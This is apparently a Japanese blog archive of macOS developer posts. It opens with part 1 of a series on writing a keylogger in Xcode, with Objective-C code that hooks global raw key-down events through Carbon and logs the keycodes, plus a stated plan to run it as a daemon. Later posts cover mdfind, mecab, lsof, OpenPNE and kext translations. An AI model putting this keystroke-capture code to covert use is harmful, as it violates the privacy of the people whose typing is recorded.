Xcodeでキーロガーを作ろう (1)
[]

2012.01.18

このエントリーをはてなブックマークに追加
はてなブックマーク - Xcodeでキーロガーを作ろう (1)

env

  • OS X 10.6.8
  • Xcode 4.0.2

キーロガーの概要

  • Carbon Event Manager を使う
  • ユーザ空間で動くようにする => カーネルプログラミングなし
  • あわよくばデーモン化する => LaunchDaemon/Agent

Carbon Event Manager での簡単な実装

  • need Carbon.framework

list 1-1 (keyloggerAppDelegate.h):

#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>

@interface keyloggerAppDelegate : NSObject <NSApplicationDelegate> {
@private
    NSWindow *window;
}

@property (assign) IBOutlet NSWindow *window;

@end

list 1-2 (keyloggerAppDelegate.m):

#import "keyloggerAppDelegate.h"

@implementation keyloggerAppDelegate

@synthesize window;

OSStatus MyEventHandlerProc ( EventHandlerCallRef inHandlerCallRef,EventRef inEvent,void * inUserData)
{
    OSStatus result = eventNotHandledErr;
   
    // EventRecord what for ?
    /*
    EventRecord* rec;
    ConvertEventRefToEventRecord(inEvent, &rec);
    //NSLog(@"%s", rec.what);
    //printf("%i", rec->what);
    */

   
    // get event time on ocurred.
    EventTime t;
    t = GetEventTime(inEvent);
    NSLog(@"event time: %d", t);
   
    // get keyboard event parameters.
    UInt32 outData;
    OSStatus ret = GetEventParameter(inEvent, kEventParamKeyCode, typeUInt32, NULL, sizeof(outData), NULL, &outData);
    NSLog(@"%i", ret);
    if(ret == noErr){
        NSLog(@"keyCode: %i", outData);
    }
    else{
        NSLog(@"error occurred");
    }
    return result;
}

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
    EventTargetRef target = GetEventMonitorTarget();
   
    EventTypeSpec eventTypes[1];
    eventTypes[0].eventClass = kEventClassKeyboard;
    eventTypes[0].eventKind = kEventRawKeyDown;
   
    InstallEventHandler(
              target,
              &MyEventHandlerProc,
              1,
              eventTypes,
              NULL,
              NULL
    );
}

- (void)applicationWillTerminate:(NSNotification *)aNotification{
    NSLog(@"applicationWillTerminate");
}

@end

途中経過

mdfind / mdls コマンド
[]

2011.12.30

このエントリーをはてなブックマークに追加
はてなブックマーク - mdfind / mdls コマンド

mdfindは Spotlightでも使われている検索機能をコマンドラインで行なうことができるコマンド。 基本的にはファイルの中身を検索するためのものだが、-name オプションでファイル名だけを検索することもできる。 他には、アプリが提供している検索用のメタデータで絞り込んだり。

それと、OS X のファイルシステムの文字コードはUTF8-MACなので、普通にls | grep "コマンド"というように濁点、半濁点を含んだファイル名を探そうとしても表示されないので、その場合にmdfindを使うと便利。

表示されない例:

$ ls ~/work/design_source/memo
networkプログラミング.md
nginxメモ.markdown
nmコマンド.md  //< == これを表示させたい
$ ls ~/work/design_source/memo | grep "コマンド"
// なにも表示されない!

表示される:)

$ mdfind -onlyin ~/work/design_source/memo -name コマンド
/Users/yokada/work/design_source/memo/nmコマンド.md

refs

Usage

mdfind [-live] [-count] [-onlyin directory] [-name fileName | -s smartFolderName | query]

-live

クエリー検索状態をアクティブに保ったままにする。

-count

マッチした件数のみを表示する。

-onlyin

指定したディレクトリ以下のみから検索する。

-name

ファイル名だけを検索する。

-s

Show contents of smart folder

-0

結果のパスの区切り文字をNULL文字にして、xargs -0 で受け取れるようにする。

-live

リアルタイム検索

$ mdfind -live

$ mdfind image
$ mdfind -onlyin ~ image
$ mdfind -name stdlib.h
$ mdfind "kMDItemAuthor == '*MyFavoriteAuthor*'"
$ mdfind -live MyFavoriteAuthor

関連コマンド

os xでportからmecabをインストール
[]

2011.12.30

このエントリーをはてなブックマークに追加
はてなブックマーク - os xでportからmecabをインストール

mecabをインストール

[yokada]$ sudo port intall mecab
[yokada]password:

辞書をダウンロード

http://iij.dl.sourceforge.jp/naist-jdic/45847/mecab-naist-jdic-0.6.2-20100208.tar.gz

辞書をインストール

[yokada]$ tar mecab-naist-jdic-0.6.2-20100208.tar.gz
[yokada]$ cd mecab-naist-jdic-0.6.2-20100208
[yokada]$ ./configure --with-charset=utf8
[yokada]$ make
[yokada]$ sudo make install

テスト

$ echo "今日、歯医者に行った" | mecab
今日  名詞,副詞可能,*,*,*,*,今日,コンニチ,コンニチ,,
、 記号,読点,*,*,*,*,、,、,、,,
歯医者 名詞,一般,*,*,*,*,歯医者,ハイシャ,ハイシャ,,
に 助詞,副詞化,*,*,*,*,に,ニ,ニ,,
行っ  動詞,非自立,*,*,五段・カ行促音便,連用タ接続,行く,イッ,イッ,,
た 助動詞,*,*,*,特殊・タ,基本形,た,タ,タ,,
EOS

lsof コマンド
[]

2010.12.03

このエントリーをはてなブックマークに追加
はてなブックマーク - lsof コマンド

OS X でも lsof コマンドを使用することができる。このコマンドはアプリケーションが使用しているファイルを一覧することができ、ファイルがネットワーク越しに存在する場合は接続情報付きで見ることができる。

まず netstat でポートの使用状況を見る。

$ netstat a
... 略
tcp4 0 0 192.168.1.200.50930 128.242.245.39.https ESTABLISHED
... 略

自分のマシン(192.168.1.200:50930)から 128.242.245.39 に対して https で接続していることがわかる。IPやポート番号から lsof コマンドを使ってアプリケーションを特定することができる。

$ lsof | grep 128.242.245.39
YoruFukur 446 yokada 11u IPv4 0xXXXXXXXX 0t0 TCP 192.169.1.200:50930->128.242.245.39:https (ESTABLISHED)

YoruFukurou が https で 128.242.245.39 へ接続しているです。

ポート番号を直接指定する

以下のように -i:<ポート番号> オプションを使う:

$ lsof -i:23052
COMMAND    PID   USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME
GrowlHelp 2197 yokada    9u  IPv4 0x0a4cb748      0t0  TCP *:23052 (LISTEN)

os x に OpenPNE 3.4.9 をインストール
[]

2010.12.02

このエントリーをはてなブックマークに追加
はてなブックマーク - os x に OpenPNE 3.4.9 をインストール

env

  • OS X 10.6.2
  • MAMP 1.8.4
  • OpenPNE 3.4.9

セットアップドキュメント

  • doc/ja/OpenPNE3_Setup_Guide.txt

./symfony openpne:install で Fatal Error

$ ./symfony openpne:install
...(DB設定)
>> plugin    installing plugin "opAuthMailAddressPlugin"
>> opPluginManager Plugin is already installed
>> plugin    installing plugin "opAuthMobileUIDPlugin"
>> opPluginManager Plugin is already installed
>> plugin    installing plugin "opAuthOpenIDPlugin"
>> sfPearFrontendPlugin downloading opAuthOpenIDPlugin-1.1.1.tgz ...
>> sfPearFrontendPlugin Starting to download opAuthOpenIDPlugin-1.1.1.tgz (7,861
>> sfPearFrontendPlugin bytes)
>> sfPearFrontendPlugin .
>> sfPearFrontendPlugin .
>> sfPearFrontendPlugin ...done: 7,861 bytes
>> opPluginManager Installation successful for plugin "opAuthOpenIDPlugin"
PHP Fatal error:  Class 'BaseSnsConfig' not found in /Users/yokada/work/web/49286/site/lib/model/doctrine/SnsConfig.class.php on line 12

んがぐぐっ。BaseSnsConfig ってdoctrineが生成するモデルなので、 それが見つからないということは生成されてないということだろう。

だからdoctrineにモデルを生成させればうまくいくはず。

$ ./symfony doctrine:build-model
>> doctrine  generating model classes
>> file+     /private/var/folders/9f/9ftSb-82GaiO0i36D8xCjk+++TI/-Tmp-/doctrine_schema_67907.yml
... (省略)
>> tokens    /Users/yokada/work/web/49286/site/lib/model/doctrine/base/BaseSnsConfig.class.php #<== これ
... (省略)
>> file-     /Users/yokada/work/web/49286/site/cache/yokada/api/dev/config/config_autoload.yml.php

再度 ./symfony openpne:install を実行する

$ ./symfony openpne:install
...(DB設定)
>> plugin    installing plugin "opAuthMailAddressPlugin"
... (省略)
>> installer installation is completed!

以上

OS X に spidermonkey をインストール
[]

2010.06.25

このエントリーをはてなブックマークに追加
はてなブックマーク - OS X に spidermonkey をインストール

macports の spidermonkey 1.7.0 をインストールした。 spidermonkey はコマンドラインでjavascriptを走らせることができるjsエンジン。

環境

Kernel Extension Programming Topicsの意訳9
[]

2010.06.13

このエントリーをはてなブックマークに追加
はてなブックマーク - Kernel Extension Programming Topicsの意訳9

kextのお勉強9回目。

今回はglossary的な章で、Kernel Extension Programming Topicsの最終章。

原文

Kernel Extension Programming Topicsの意訳8
[]

2010.05.15

このエントリーをはてなブックマークに追加
はてなブックマーク - Kernel Extension Programming Topicsの意訳8

kextのお勉強8回目。英語を見るのが、だんだんダルくなってきたが、とりあえず進める。

今回は、kextをパッケージングしてインストーラを作るまで。

原文

Packaging a Kernel Extension for Distribution and Installation


> 続きを読む

Kernel Extension Programming Topicsの意訳7
[]

2010.05.05

このエントリーをはてなブックマークに追加
はてなブックマーク - Kernel Extension Programming Topicsの意訳7

kextのお勉強7回目。前回は、2台のマシンセットアップしてGDBのリモートデバッグを使ってkextをデバッグする方法を学んだ。この方法だと、mac が2台必要で、さらに同じOS Xの同じバージョンが必要ということで敷居が高い。なのでまだ実際にデバッグしてない。いずれやってみる。

今回は、kext開発で役立つコマンドに関する説明。

原文

Command-Line Tools for Analyzing Kernel Extensions


> 続きを読む

Kernel Extension Programming Topicsの意訳6
[]

2010.05.04

このエントリーをはてなブックマークに追加
はてなブックマーク - Kernel Extension Programming Topicsの意訳6

kextのお勉強6回目。前回は一般的なドライバの作成手順を学んだ。

今回は、kextをロードしてデバッグする方法を学ぶ。 なんか2台のmacが必要みたいだ。

原文